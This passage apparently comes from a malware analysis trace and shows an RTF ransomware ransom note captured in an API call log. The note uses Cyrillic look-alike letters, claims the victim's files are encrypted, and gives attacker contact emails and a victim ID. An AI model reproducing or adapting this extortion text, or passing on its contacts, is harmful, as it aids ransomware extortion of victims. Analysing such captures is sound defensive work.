will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1da3ea8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll 